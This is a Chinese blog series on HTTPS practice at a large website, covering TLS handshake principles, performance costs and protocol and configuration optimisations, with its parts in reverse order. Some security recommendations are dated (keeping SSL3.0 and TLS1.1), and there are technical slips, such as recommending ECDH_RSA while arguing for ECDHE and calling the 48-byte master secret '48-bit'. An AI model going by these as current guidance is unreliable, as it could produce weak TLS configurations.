HTTPS 和 HTTP 使用 TCP 协议进行传输,也就意味着必须通过三次握手建立 TCP 连接,但一个 RTT 的时间内只传输一个 syn 包是不是太浪费?能不能在 syn 包发出的同时捎上应用层的数据?其实是可以的,这也是 tcp fast open 的思路,简称 TFO。具体原理可以参考 rfc7413。

遗憾的是 TFO 需要高版本内核的支持,linux 从 3.7 以后支持 TFO,但是目前的 windows 系统还不支持 TFO,所以只能在公司内部服务器之间发挥作用。

2.2 HSTS

前面提到过将用户 HTTP 请求 302 跳转到 HTTPS,这会有两个影响:

1,    不安全,302 跳转不仅暴露了用户的访问站点,也很容易被中间者支持。

2,    降低访问速度,302 跳转不仅需要一个 RTT,浏览器执行跳转也需要执行时间。

由于 302 跳转事实上是由浏览器触发的,服务器无法完全控制,这个需求导致了 HSTS 的诞生:

HSTS(HTTP Strict Transport Security)。服务端返回一个 HSTS 的 http header,浏览器获取到 HSTS 头部之后,在一段时间内,不管用户输入www.baidu.com还是http://www.baidu.com,都会默认将请求内部跳转成https://www.baidu.com

Chrome, firefox, ie 都支持了 HSTS(http://caniuse.com/#feat=stricttransportsecurity)。

2.3 Session resume

Session resume 顾名思义就是复用 session,实现简化握手。复用 session 的好处有两个:

1,    减少了 CPU 消耗,因为不需要进行非对称密钥交换的计算。

2,    提升访问速度,不需要进行完全握手阶段二,节省了一个 RTT 和计算耗时。

TLS 协议目前提供两种机制实现 session resume,分别介绍一下。

2.3.1 Session cache

Session cache 的原理是使用 client hello 中的 session id 查询服务端的 session cache, 如果服务端有对应的缓存,则直接使用已有的 session 信息提前完成握手,称为简化握手。

Session cache 有两个缺点:

1,    需要消耗服务端内存来存储 session 内容。

2,    目前的开源软件包括 nginx,apache 只支持单机多进程间共享缓存,不支持多机间分布式缓存,对于百度或者其他大型互联网公司而言,单机 session cache 几乎没有作用。

Session cache 也有一个非常大的优点:

1,   session id 是 TLS 协议的标准字段,市面上的浏览器全部都支持 session cache。

百度通过对 TLS 握手协议及服务器端实现的优化,已经支持全局的 session cache,能够明显提升用户的访问速度,节省服务器计算资源。

2.3.2 Session ticket

上节提到了 session cache 的两个缺点,session ticket 能够弥补这些不足。

Session ticket 的原理参考 RFC4507。简述如下:

server 将 session 信息加密成 ticket 发送给浏览器,浏览器后续握手请求时会发送 ticket,server 端如果能成功解密和处理 ticket,就能完成简化握手。

显然,session ticket 的优点是不需要服务端消耗大量资源来存储 session 内容。

Session ticket 的缺点:

1,    session ticket 只是 TLS 协议的一个扩展特性,目前的支持率不是很广泛,只有 60% 左右。

2,    session ticket 需要维护一个全局的 key 来加解密,需要考虑 KEY 的安全性和部署效率。

总体来讲,session ticket 的功能特性明显优于 session cache。希望客户端实现优先支持 session ticket。

2.4 Ocsp stapling

Ocsp 全称在线证书状态检查协议 (rfc6960),用来向 CA 站点查询证书状态,比如是否撤销。通常情况下,浏览器使用 OCSP 协议发起查询请求,CA 返回证书状态内容,然后浏览器接受证书是否可信的状态。

这个过程非常消耗时间,因为 CA 站点有可能在国外,网络不稳定,RTT 也比较大。那有没有办法不直接向 CA 站点请求 OCSP 内容呢?ocsp stapling 就能实现这个功能。

详细介绍参考 RFC6066 第 8 节。简述原理就是浏览器发起 client hello 时会携带一个 certificate status request 的扩展,服务端看到这个扩展后将 OCSP 内容直接返回给浏览器,完成证书状态检查。

由于浏览器不需要直接向 CA 站点查询证书状态,这个功能对访问速度的提升非常明显。

Nginx 目前已经支持这个 ocsp stapling file,只需要配置 ocsp stapling file 的指令就能开启这个功能:

ssl_stapling on;ssl_stapling_file ocsp.staple;

2.5 False start

通常情况下,应用层数据必须等完全握手全部结束之后才能传输。这个其实比较浪费时间,那能不能类似 TFO 一样,在完全握手的第二个阶段将应用数据一起发出来呢?google 提出了 false start 来实现这个功能。详细介绍参考https://tools.ietf.org/html/draft-bmoeller-tls-falsestart-00

简单概括 False start 的原理就是在 client_key_exchange 发出时将应用层数据一起发出来,能够节省一个 RTT。

False start 依赖于 PFS(perfect forward secrecy 完美前向加密),而 PFS 又依赖于 DHE 密钥交换系列算法(DHE_RSA, ECDHE_RSA, DHE_DSS, ECDHE_ECDSA),所以尽量优先支持 ECDHE 密钥交换算法实现 false start。

2.6 使用 SPDY 或者 HTTP2

SPDY 是 google 推出的优化 HTTP 传输效率的协议(https://www.chromium.org/spdy),它基本上沿用了 HTTP 协议的语义, 但是通过使用帧控制实现了多个特性,显著提升了 HTTP 协议的传输效率。

SPDY 最大的特性就是多路复用,能将多个 HTTP 请求在同一个连接上一起发出去,不像目前的 HTTP 协议一样,只能串行地逐个发送请求。Pipeline 虽然支持多个请求一起发送,但是接收时依然得按照顺序接收,本质上无法解决并发的问题。

HTTP2 是 IETF 2015 年 2 月份通过的 HTTP 下一代协议,它以 SPDY 为原型,经过两年多的讨论和完善最终确定。

本文就不过多介绍 SPDY 和 HTTP2 的收益,需要说明两点:

1,    SPDY 和 HTTP2 目前的实现默认使用 HTTPS 协议。

2,    SPDY 和 HTTP2 都支持现有的 HTTP 语义和 API,对 WEB 应用几乎是透明的。

Google 宣布 chrome 浏览器 2016 年将放弃 SPDY 协议,全面支持 HTTP2,但是目前国内部分浏览器厂商进度非常慢,不仅不支持 HTTP2,连 SPDY 都没有支持过。

百度服务端和百度手机浏览器现在都已经支持 SPDY3.1 协议。

 

3 HTTPS 计算性能优化

3.1 优先使用 ECC

ECC 椭圆加密算术相比普通的离散对数计算速度性能要强很多。下表是 NIST 推荐的密钥长度对照表。

对称密钥大小 RSA 和 DH 密钥大小 ECC 密钥大小
80 1024 160
112 2048 224
128 3072 256
192 7680 384
256 15360 521

表格 2 NIST 推荐使用的密钥长度

对于 RSA 算法来讲,目前至少使用 2048 位以上的密钥长度才能保证安全性。ECC 只需要使用 224 位长度的密钥就能实现 RSA2048 位长度的安全强度。在进行相同的模指数运算时速度显然要快很多。

3.2 使用最新版的 openssl

一般来讲,新版的 openssl 相比老版的计算速度和安全性都会有提升。比如 openssl1.0.2 采用了 intel 最新的优化成果,椭圆曲线 p256 的计算性能提升了 4 倍。(https://eprint.iacr.org/2013/816.pdf)

Openssl 2014 年就升级了 5 次,基本都是为了修复实现上的 BUG 或者算法上的漏洞而升级的。所以尽量使用最新版本,避免安全上的风险。

3.3 硬件加速方案

现在比较常用的 TLS 硬件加速方案主要有两种:

1,    SSL 专用加速卡。

2,    GPU SSL 加速。

上述两个方案的主流用法都是将硬件插入到服务器的 PCI 插槽中,由硬件完成最消耗性能的计算。但这样的方案有如下缺点:

1,    支持算法有限。比如不支持 ECC,不支持 GCM 等。

2,    升级成本高。

a)       出现新的加密算法或者协议时,硬件加速方案无法及时升级。

b)      出现比较大的安全漏洞时,部分硬件方案在无法在短期内升级解决。比如 2014 年暴露的 heartbleed 漏洞。

3,    无法充分利用硬件加速性能。硬件加速程序一般都运行在内核态,计算结果传递到应用层需要 IO 和内存拷贝开销,即使硬件计算性能非常好,上层的同步等待和 IO 开销也会导致整体性能达不到预期,无法充分利用硬件加速卡的计算能力。

4,    维护性差。硬件驱动及应用层 API 大部分是由安全厂家提供,出现问题后还需要厂家跟进。用户无法掌握核心代码,比较被动。不像开源的 openssl,不管算法还是协议,用户都能掌握。

3.4 TLS 远程代理计算

也正是因为上述原因,百度实现了专用的 SSL 硬件加速集群。基本思路是:

1,    优化 TLS 协议栈,剥离最消耗 CPU 资源的计算,主要有如下部分:

a)       RSA 中的加解密计算。

b)      ECC 算法中的公私钥生成。

c)       ECC 算法中的共享密钥生成。

2,    优化硬件计算部分。硬件计算不涉及协议及状态交互,只需要处理大数运算。

3,    Web server 到 TLS 计算集群之间的任务是异步的。即 web server 将待计算内容发送给加速集群后,依然可以继续处理其他请求,整个过程是异步非阻塞的。

4 HTTPS 安全配置

4.1 协议版本选择

SSL2.0 早就被证明是不安全的协议了,统计发现目前已经没有客户端支持 SSL2.0,所以可以放心地在服务端禁用 SSL2.0 协议。

2014 年爆发了 POODLE 攻击,SSL3.0 因此被证明是不安全的。但是统计发现依然有 0.5% 的流量只支持 SSL3.0。所以只能有选择地支持 SSL3.0。

TLS1.1 及 1.2 目前为止没有发现安全漏洞,建议优先支持。

4.2 加密套件选择

加密套件包含四个部分:

1,    非对称密钥交换算法。建议优先使用 ECDHE,禁用 DHE,次优先选择 RSA。

2,    证书签名算法。由于部分浏览器及操作系统不支持 ECDSA 签名,目前默认都是使用 RSA 签名,其中 SHA1 签名已经不再安全,chrome 及微软 2016 年开始不再支持 SHA1 签名的证书 (http://googleonlinesecurity.blogspot.jp/2014/09/gradually-sunsetting-sha-1.html)。

3,    对称加解密算法。优先使用 AES-GCM 算法,针对 1.0 以上协议禁用 RC4( rfc7465)。

4,    内容一致性校验算法。Md5 和 sha1 都已经不安全,建议使用 sha2 以上的安全哈希函数。

4.3 HTTPS 防攻击

4.3.1 防止协议降级攻击

降级攻击一般包括两种:加密套件降级攻击 (cipher suite rollback) 和协议降级攻击(version roll back)。降级攻击的原理就是攻击者伪造或者修改 client hello 消息,使得客户端和服务器之间使用比较弱的加密套件或者协议完成通信。

为了应对降级攻击,现在 server 端和浏览器之间都实现了 SCSV 功能,原理参考https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00

一句话解释就是如果客户端想要降级,必须发送 TLS_SCSV 的信号,服务器如果看到 TLS_SCSV,就不会接受比服务端最高协议版本低的协议。

4.3.2 防止重新协商攻击

重新协商(tls renegotiation)分为两种:加密套件重协商 (cipher suite renegotiation) 和协议重协商(protocol renegotiation)。

重新协商会有两个隐患:

1,      重协商后使用弱的安全算法。这样的后果就是传输内容很容易泄露。

2,      重协商过程中不断发起完全握手请求,触发服务端进行高强度计算并引发服务拒绝。

对于重协商,最直接的保护手段就是禁止客户端主动重协商,当然出于特殊场景的需求,应该允许服务端主动发起重协商。

5 结束语

HTTPS 的实践和优化涉及到了非常多的知识点,由于篇幅关系,本文对很多优化策略只是简单介绍了一下. 如果想要了解协议背后的原理,还是需要详细阅读 TLS 协议及 PKI 知识。对于大型站点来说,如果希望做到极致,HTTPS 的部署需要结合产品和基础设施的架构来进行详细的考虑,比起部署支持 HTTPS 的接入和对它的优化,在产品和运维层面上花费的功夫会更多。本系列的下一篇文章将进一步进行介绍。

大型网站的 HTTPS 实践(3):基于协议和配置的优化,首发于博客 – 伯乐在线

大型网站的 HTTPS 实践(2):HTTPS 对性能的影响

1 前言

HTTPS 在保护用户隐私,防止流量劫持方面发挥着非常关键的作用,但与此同时,HTTPS 也会降低用户访问速度,增加网站服务器的计算资源消耗。

本文主要介绍 https 对用户体验的影响。

2 HTTPS 对访问速度的影响

在介绍速度优化策略之前,先来看下 HTTPS 对速度有什么影响。影响主要来自两方面:

  1. 协议交互所增加的网络 RTT(round trip time)。
  2. 加解密相关的计算耗时。

下面分别介绍一下。

2.1 网络耗时增加

由于 HTTP 和 HTTPS 都需要 DNS 解析,并且大部分情况下使用了 DNS 缓存,为了突出对比效果,忽略主域名的 DNS 解析时间。

用户使用 HTTP 协议访问http://www.baidu.com(或者 www.baidu.com) 时会有如下网络上的交互耗时:

图 1 HTTP 首个请求的网络耗时

可见,用户只需要完成 TCP 三次握手建立 TCP 连接就能够直接发送 HTTP 请求获取应用层数据,此外在整个访问过程中也没有需要消耗计算资源的地方。

接下来看 HTTPS 的访问过程,相比 HTTP 要复杂很多,在部分场景下,使用 HTTPS 访问有可能增加 7 个 RTT。如下图:

图 2 HTTPS 首次请求对访问速度的影响

HTTPS 首次请求需要的网络耗时解释如下:

1,    三次握手建立 TCP 连接。耗时一个 RTT。

2,    使用 HTTP 发起 GET 请求,服务端返回 302 跳转到 https://www.baidu.com。需要一个 RTT 以及 302 跳转延时。

a)       大部分情况下用户不会手动输入 https://www.baidu.com 来访问 HTTPS,服务端只能返回 302 强制浏览器跳转到 https。

b)      浏览器处理 302 跳转也需要耗时。

3,    三次握手重新建立 TCP 连接。耗时一个 RTT。

a)       302 跳转到 HTTPS 服务器之后,由于端口和服务器不同,需要重新完成三次握手,建立 TCP 连接。

4,    TLS 完全握手阶段一。耗时至少一个 RTT。

a)       这个阶段主要是完成加密套件的协商和证书的身份认证。

b)      服务端和浏览器会协商出相同的密钥交换算法、对称加密算法、内容一致性校验算法、证书签名算法、椭圆曲线(非 ECC 算法不需要)等。

c)       浏览器获取到证书后需要校验证书的有效性,比如是否过期,是否撤销。

5,    解析 CA 站点的 DNS。耗时一个 RTT。

a)       浏览器获取到证书后,有可能需要发起 OCSP 或者 CRL 请求,查询证书状态。

b)      浏览器首先获取证书里的 CA 域名。

c)       如果没有命中缓存,浏览器需要解析 CA 域名的 DNS。

6,    三次握手建立 CA 站点的 TCP 连接。耗时一个 RTT。

a)       DNS 解析到 IP 后,需要完成三次握手建立 TCP 连接。

7,    发起 OCSP 请求,获取响应。耗时一个 RTT。

8,    完全握手阶段二,耗时一个 RTT 及计算时间。

a)       完全握手阶段二主要是密钥协商。

9,    完全握手结束后,浏览器和服务器之间进行应用层(也就是 HTTP)数据传输。

当然不是每个请求都需要增加 7 个 RTT 才能完成 HTTPS 首次请求交互。大概只有不到 0.01% 的请求才有可能需要经历上述步骤,它们需要满足如下条件:

1,    必须是首次请求。即建立 TCP 连接后发起的第一个请求,该连接上的后续请求都不需要再发生上述行为。

2,    必须要发生完全握手,而正常情况下 80% 的请求能实现简化握手。

3,    浏览器需要开启 OCSP 或者 CRL 功能。Chrome 默认关闭了 ocsp 功能,firefox 和 IE 都默认开启。

4,    浏览器没有命中 OCSP 缓存。Ocsp 一般的更新周期是 7 天,firefox 的查询周期也是 7 天,也就说是 7 天中才会发生一次 ocsp 的查询。

5,    浏览器没有命中 CA 站点的 DNS 缓存。只有没命中 DNS 缓存的情况下才会解析 CA 的 DNS。

2.2 计算耗时增加

上节还只是简单描述了 HTTPS 关键路径上必须消耗的纯网络耗时,没有包括非常消耗 CPU 资源的计算耗时,事实上计算耗时也不小(30ms 以上),从浏览器和服务器的角度分别介绍一下:

1,    浏览器计算耗时

a)       RSA 证书签名校验,浏览器需要解密签名,计算证书哈希值。如果有多个证书链,浏览器需要校验多个证书。

b)      RSA 密钥交换时,需要使用证书公钥加密 premaster。耗时比较小,但如果手机性能比较差,可能也需要 1ms 的时间。

c)       ECC 密钥交换时,需要计算椭圆曲线的公私钥。

d)      ECC 密钥交换时,需要使用证书公钥解密获取服务端发过来的 ECC 公钥。

e)       ECC 密钥交换时,需要根据服务端公钥计算 master key。

f)       应用层数据对称加解密。

g)      应用层数据一致性校验。

2,    服务端计算耗时

a)       RSA 密钥交换时需要使用证书私钥解密 premaster。这个过程非常消耗性能。

b)      ECC 密钥交换时,需要计算椭圆曲线的公私钥。

c)       ECC 密钥交换时,需要使用证书私钥加密 ECC 的公钥。

d)      ECC 密钥交换时,需要根据浏览器公钥计算共享的 master key。

e)       应用层数据对称加解密。

f)       应用层数据一致性校验。

由于客户端的 CPU 和操作系统种类比较多,所以计算耗时不能一概而论。手机端的 HTTPS 计算会比较消耗性能,单纯计算增加的延迟至少在 50ms 以上。PC 端也会增加至少 10ms 以上的计算延迟。

服务器的性能一般比较强,但由于 RSA 证书私钥长度远大于客户端,所以服务端的计算延迟也会在 5ms 以上。

3 结束语

本系列的后续文章将进一步解释针对性的优化措施。

大型网站的 HTTPS 实践(2):HTTPS 对性能的影响,首发于博客 – 伯乐在线

大型网站的 HTTPS 实践(1):HTTPS 协议和原理

1 前言

百度已经于近日上线了全站 HTTPS 的安全搜索,默认会将 HTTP 请求跳转成 HTTPS。本文重点介绍 HTTPS 协议, 并简单介绍部署全站 HTTPS 的意义。

2 HTTPS 协议概述

HTTPS 可以认为是 HTTP + TLS。HTTP 协议大家耳熟能详了,目前大部分 WEB 应用和网站都是使用 HTTP 协议传输的。

TLS 是传输层加密协议,它的前身是 SSL 协议,最早由 netscape 公司于 1995 年发布,1999 年经过 IETF 讨论和规范后,改名为 TLS。如果没有特别说明,SSL 和 TLS 说的都是同一个协议。

HTTP 和 TLS 在协议层的位置以及 TLS 协议的组成如下图:

图 1 TLS 协议格式

TLS 协议主要有五部分:应用数据层协议,握手协议,报警协议,加密消息确认协议,心跳协议。

TLS 协议本身又是由 record 协议传输的,record 协议的格式如上图最右所示。

目前常用的 HTTP 协议是 HTTP1.1,常用的 TLS 协议版本有如下几个:TLS1.2, TLS1.1, TLS1.0 和 SSL3.0。其中 SSL3.0 由于 POODLE 攻击已经被证明不安全,但统计发现依然有不到 1% 的浏览器使用 SSL3.0。TLS1.0 也存在部分安全漏洞,比如 RC4 和 BEAST 攻击。

TLS1.2 和 TLS1.1 暂时没有已知的安全漏洞,比较安全,同时有大量扩展提升速度和性能,推荐大家使用。

需要关注一点的就是 TLS1.3 将会是 TLS 协议一个非常重大的改革。不管是安全性还是用户访问速度都会有质的提升。不过目前没有明确的发布时间。

同时 HTTP2 也已经正式定稿,这个由 SPDY 协议演化而来的协议相比 HTTP1.1 又是一个非常重大的变动,能够明显提升应用层数据的传输效率。

3 HTTPS 功能介绍

百度使用 HTTPS 协议主要是为了保护用户隐私,防止流量劫持。

HTTP 本身是明文传输的,没有经过任何安全处理。例如用户在百度搜索了一个关键字,比如“苹果手机”,中间者完全能够查看到这个信息,并且有可能打电话过来骚扰用户。也有一些用户投诉使用百度时,发现首页或者结果页面浮了一个很长很大的广告,这也肯定是中间者往页面插的广告内容。如果劫持技术比较低劣的话,用户甚至无法访问百度。

这里提到的中间者主要指一些网络节点,是用户数据在浏览器和百度服务器中间传输必须要经过的节点。比如 WIFI 热点,路由器,防火墙,反向代理,缓存服务器等。

在 HTTP 协议下,中间者可以随意嗅探用户搜索内容,窃取隐私甚至篡改网页。不过 HTTPS 是这些劫持行为的克星,能够完全有效地防御。

总体来说,HTTPS 协议提供了三个强大的功能来对抗上述的劫持行为:

1,  内容加密。浏览器到百度服务器的内容都是以加密形式传输,中间者无法直接查看原始内容。

2,  身份认证。保证用户访问的是百度服务,即使被 DNS 劫持到了第三方站点,也会提醒用户没有访问百度服务,有可能被劫持

3,  数据完整性。防止内容被第三方冒充或者篡改。

那 HTTPS 是如何做到上述三点的呢?下面从原理角度介绍一下。

4 HTTPS 原理介绍

4.1 内容加密

加密算法一般分为两种,对称加密和非对称加密。所谓对称加密(也叫密钥加密)就是指加密和解密使用的是相同的密钥。而非对称加密(也叫公钥加密)就是指加密和解密使用了不同的密钥。

pic2

图 2 对称加密

图 3 非对称加密

对称内容加密强度非常高,一般破解不了。但存在一个很大的问题就是无法安全地生成和保管密钥。假如客户端软件和服务器之间每次会话都使用固定的,相同的密钥加密和解密,肯定存在很大的安全隐患。如果有人从客户端端获取到了对称密钥,整个内容就不存在安全性了,而且管理海量的客户端密钥也是一件很复杂的事情。

非对称加密主要用于密钥交换(也叫密钥协商),能够很好地解决这个问题。浏览器和服务器每次新建会话时都使用非对称密钥交换算法协商出对称密钥,使用这些对称密钥完成应用数据的加解密和验证,整个会话过程中的密钥只在内存中生成和保存,而且每个会话的对称密钥都不相同(除非会话复用),中间者无法窃取。

非对称密钥交换很安全,但同时也是 HTTPS 性能和速度严重降低的“罪魁祸首”。想要知道 HTTPS 为什么影响速度,为什么消耗资源,就一定要理解非对称密钥交换的整个过程。

下面重点介绍一下非对称密钥交换的数学原理及在 TLS 握手过程中的应用。

4.1.1 非对称密钥交换

在非对称密钥交换算法出现以前,对称加密一个很大的问题就是不知道如何安全生成和保管密钥。非对称密钥交换过程主要就是为了解决这个问题,使得对称密钥的生成和使用更加安全。

密钥交换算法本身非常复杂,密钥交换过程涉及到随机数生成,模指数运算,空白补齐,加密,签名等操作。

常见的密钥交换算法有 RSA,ECDHE,DH,DHE 等算法。它们的特性如下:

  •  RSA:算法实现简单,诞生于 1977 年,历史悠久,经过了长时间的破解测试,安全性高。缺点就是需要比较大的素数(目前常用的是 2048 位)来保证安全强度,很消耗 CPU 运算资源。RSA 是目前唯一一个既能用于密钥交换又能用于证书签名的算法。
  • DH:diffie-hellman 密钥交换算法,诞生时间比较早(1977 年),但是 1999 年才公开。缺点是比较消耗 CPU 性能。
  • ECDHE:使用椭圆曲线(ECC)的 DH 算法,优点是能用较小的素数(256 位)实现 RSA 相同的安全等级。缺点是算法实现复杂,用于密钥交换的历史不长,没有经过长时间的安全攻击测试。
  •  ECDH:不支持 PFS,安全性低,同时无法实现 false start。
  •  DHE:不支持 ECC。非常消耗 CPU 资源。

建议优先支持 RSA 和 ECDH_RSA 密钥交换算法。原因是:

1,  ECDHE 支持 ECC 加速,计算速度更快。支持 PFS,更加安全。支持 false start,用户访问速度更快。

2,  目前还有至少 20% 以上的客户端不支持 ECDHE,我们推荐使用 RSA 而不是 DH 或者 DHE,因为 DH 系列算法非常消耗 CPU(相当于要做两次 RSA 计算)。

需要注意通常所说的 ECDHE 密钥交换默认都是指 ECDHE_RSA,使用 ECDHE 生成 DH 算法所需的公私钥,然后使用 RSA 算法进行签名最后再计算得出对称密钥。

非对称加密相比对称加密更加安全,但也存在两个明显缺点:

1,  CPU 计算资源消耗非常大。一次完全 TLS 握手,密钥交换时的非对称解密计算量占整个握手过程的 90% 以上。而对称加密的计算量只相当于非对称加密的 0.1%,如果应用层数据也使用非对称加解密,性能开销太大,无法承受。

2,  非对称加密算法对加密内容的长度有限制,不能超过公钥长度。比如现在常用的公钥长度是 2048 位,意味着待加密内容不能超过 256 个字节。

所以公钥加密目前只能用来作密钥交换或者内容签名,不适合用来做应用层传输内容的加解密。

非对称密钥交换算法是整个 HTTPS 得以安全的基石,充分理解非对称密钥交换算法是理解 HTTPS 协议和功能的关键。

下面分别通俗地介绍一下 RSA 和 ECDHE 在密钥交换过程中的应用。

4.1.1.1 RSA 密钥协商

4.1.1.1.1 RSA 算法介绍

RSA 算法的安全性是建立在乘法不可逆或者大数因子很难分解的基础上。RSA 的推导和实现涉及到了欧拉函数和费马定理及模反元素的概念,有兴趣的读者可以自行百度。

RSA 算法是统治世界的最重要算法之一,而且从目前来看,RSA 也是 HTTPS 体系中最重要的算法,没有之一。

RSA 的计算步骤如下:

1,  随机挑选两个质数 p, q,假设 p = 13, q = 19。 n = p * q = 13 * 19 = 247;

2,  ∅(n) 表示与整数 n 互质数的个数。如果 n 等于两个质数的积,则∅(n)=(p-1)(q-1) 挑选一个数 e,满足 1< e <∅(n) 并且 e 与互质,假设 e = 17;

3,  计算 e 关于 n 的模反元素, ed=1 mod ∅(n) , 由 e = 17 ,∅(n) =216  可得 d = 89;

4,  求出了 e,和 d,假设明文 m = 135,密文用 c 表示。那么加解密计算如下:

实际应用中,(n,e) 组成了公钥对,(n,d)组成了私钥对,其中 n 和 d 都是一个接近 22048的大数。即使现在性能很强的 CPU,想要计算 m≡c^d mod(n),也需要消耗比较大的计算资源和时间。

公钥对 (n, e) 一般都注册到了证书里,任何人都能直接查看,比如百度证书的公钥对如下图,其中最末 6 个数字(010001)换算成 10 进制就是 65537,也就是公钥对中的 e。e 取值比较小的好处有两个:

1,  由 c=m^e mod(n) 可知,e 较小,客户端 CPU 计算消耗的资源较少。

2,  加大 server 端的破解难度。e 比较小,私钥对中的 d 必然会非常大。所以 d 的取值空间也就非常大,增加了破解难度。

那为什么 (n,e) 能做为公钥公开,甚至大家都能直接从证书中查看到,这样安全吗?分析如下:

由于 ed≡1 mod ∅(n),知道了 e 和 n,想要求出私钥 d,就必须知道∅(n)。而∅(n)=(p-1)*(q-1),必须计算出 p 和 q 才能确定私钥 d。但是当 n 大到一定程度时(比如接近 2^2048),即使现在最快的 CPU 也无法进行这个因式分解,即无法知道 n 是由哪个数 p 和 q 乘出来的。所以就算知道了公钥,整个加解密过程还是非常安全的。

图 5 百度 HTTPS 证书公钥

4.1.1.1.2 握手过程中的 RSA 密钥协商

介绍完了 RSA 的原理,那最终会话所需要的对称密钥是如何生成的呢?跟 RSA 有什么关系?

以 TLS1.2 为例简单描述一下,省略跟密钥交换无关的握手消息。过程如下:

1,  浏览器发送 client_hello,包含一个随机数 random1。

2,  服务端回复 server_hello,包含一个随机数 random2,同时回复 certificate,携带了证书公钥 P。

3,  浏览器接收到 random2 之后就能够生成 premaster_secrect 以及 master_secrect。其中 premaster_secret 长度为 48 个字节,前 2 个字节是协议版本号,剩下的 46 个字节填充一个随机数。结构如下:

Struct {byte Version[2];bute random[46];}

master secrect 的生成算法简述如下:

Master_key = PRF(premaster_secret, “master secrect”, 随机数1+随机数2)其中 PRF 是一个随机函数,定义如下:PRF(secret, label, seed) = P_MD5(S1, label + seed)  XOR  P_SHA-1(S2, label + seed)

而 master secrect 包含了六部分内容,分别是用于校验内容一致性的密钥,用于对称内容加解密的密钥,以及初始化向量(用于 CBC 模式),客户端和服务端各一份。从上式可以看出,把 premaster_key 赋值给 secret,”master key”赋值给 label,浏览器和服务器端的两个随机数做种子就能确定地求出一个 48 位长的随机数。

至此,浏览器侧的密钥已经完成协商。

4,  浏览器使用证书公钥 P 将 premaster_secrect 加密后发送给服务器。

5,  服务端使用私钥解密得到 premaster_secrect。又由于服务端之前就收到了随机数 1,所以服务端根据相同的生成算法,在相同的输入参数下,求出了相同的 master secrect。

RSA 密钥协商握手过程图示如下:

图 6 RSA 密钥协商过程

可以看出,密钥协商过程需要 2 个 RTT,这也是 HTTPS 慢的一个重要原因。而 RSA 发挥的关键作用就是对 premaster_secrect 进行了加密和解密。中间者不可能破解 RSA 算法,也就不可能知道 premaster_secrect,从而保证了密钥协商过程的安全性。

4.1.1.2 ECDHE 密钥协商

4.1.1.2.1 DH 与 ECC 算法原理

ECDHE 算法实现要复杂很多,主要分为两部分:diffie-hellman 算法(简称为 DH)及 ECC(椭圆曲线算术)。他们的安全性都是建立在离散对数计算很困难的基础上。

简单介绍一下 dh 算法的实现,先介绍两个基本概念:

  • 本原根:如果整数 a 是素数 p 的本原根,则 a, a^2, …, a^(p-1) 在 mod p 下都不相同。
  •  离散对数:对任意整数 b 和素数 p 的本原根 a,存在唯一的指数 i 满足:

b ≡ a^i mod p (0≤i≤p-1)

则称 i 是 b 的以 a 为底的模 p 的离散对数。

理解这两个概念,dh 算法就非常简单了,示例如下:

假设 client 和 server 需要协商密钥,p=2579,则本原根 a = 2。

1,  Client 选择随机数 Kc = 123 做为自己的私钥,计算 Yc = a^Kc  mod p = 2^123 mod 2579 = 2400,把 Yc 作为公钥发送给 server。

2,  Server 选择随机数 Ks = 293 作为私钥,计算 Ys = a^Ks  mod p = s^293 mod 2579 = 968,把 Ys 作为公钥发送给 client。

3,  Client 计算共享密钥:secrect =  Ys^Kc mod (p) = 968^123  mod(2579) = 434

4,  Server 计算共享密钥:secrect = Yc^Ks mod(p) =2400^293 mod(2579) =434

上述公式中的 Ys,Yc,P, a, 都是公开信息,可以被中间者查看,只有 Ks,Kc 作为私钥没有公开,当私钥较小时,通过穷举攻击能够计算出共享密钥,但是当私钥非常大时,穷举攻击肯定是不可行的。

DH 算法有一个比较大的缺陷就是需要提供足够大的私钥来保证安全性,所以比较消耗 CPU 计算资源。ECC 椭圆曲线算术能够很好的解决这个问题,224 位的密钥长度就能达到 RSA2048 位的安全强度。

ECC 的曲线公式描述的其实不是椭圆,只是跟椭圆曲线周长公式形似才叫椭圆曲线加密算术。ECC 涉及到了有限域、群等近世代数的多个概念,就不做详细介绍了。

ECC 安全性依赖于这样一个事实:

P = kQ, 已知 k, Q 求出 P 相对简单,但是已知 P 和 Q 求出 k 却非常困难。

上式看起来非常简单,但有如下约束条件:

1,  Q 是一个非常大的质数,p, k, q 都是椭圆曲线有限域上的离散点。

2,  有限域定义了自己的加法和乘法法则,即使 kQ 的运算也非常复杂。

ECC 应用于 Diffie-Hellman 密钥交换过程如下:

1,  定义一个满足椭圆方程的有限域,即挑选 p, a, b 满足如下方程:

y^2 mod p = (x^3+ax +b) mod p

2,  挑选基点 G = (x, y),G 的阶为 n。n 为满足 nG = 0 的最小正整数。

3,  Client 选择私钥 Kc (0 <Kc<n ),产生公钥 Yc =Kc *G

4,  server 选择私钥 Ks 并产生公钥 Ys =Ks*G

5,  client 计算共享密钥 K = Kc*Ys   ,server 端计算共享密钥 Ks*Yc ,这两者的结果是一样的,因为:

Kc*Ys = Kc*(Ks*G) = Ks*(Kc*G) = Ks*Yc

由上面描述可知,只要确定 p, a, b 就能确定一条有限域上的椭圆曲线,由于不是所有的椭圆曲线都能够用于加密,所以 p, a, b 的选取非常讲究,直接关系曲线的安全性和计算速度。

Openssl 实现的,也是 FIPS 推荐的 256 位素数域上的椭圆曲线参数定义如下:

质数 p = 115792089210356248762697446949407573530086143415290314195533631308867097853951 阶 n = 115792089210356248762697446949407573529996955224135760342422259061068512044369SEED = c49d3608 86e70493 6a6678e1 139d26b7 819f7e90c = 7efba166 2985be94 03cb055c 75d4f7e0 ce8d84a9 c5114abcaf317768 0104fa0d 椭圆曲线的系数 a = 0 椭圆曲线的系统 b = 5ac635d8 aa3a93e7 b3ebbd55 769886bc 651d06b0 cc53b0f63bce3c3e 27d2604b 基点 G x = 6b17d1f2 e12c4247 f8bce6e5 63a440f2 77037d81 2deb33a0f4a13945 d898c296 基点 G y = 4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16 2bce3357 6b315ececbb64068 37bf51f5

4.1.1.2.2 握手过程中的 ECDHE 密钥协商

简单介绍了 ECC 和 DH 算法的数学原理,我们看下 ECDHE 在 TLS 握手过程中的应用。

相比 RSA,ECDHE 需要多发送一个 server_key_exchange 的握手消息才能完成密钥协商。

同样以 TLS1.2 为例,简单描述一下过程:

1,  浏览器发送 client_hello,包含一个随机数 random1,同时需要有 2 个扩展:

a)         Elliptic_curves:客户端支持的曲线类型和有限域参数。现在使用最多的是 256 位的素数域,参数定义如上节所述。

b)        Ec_point_formats:支持的曲线点格式,默认都是 uncompressed。

2,  服务端回复 server_hello,包含一个随机数 random2 及 ECC 扩展。

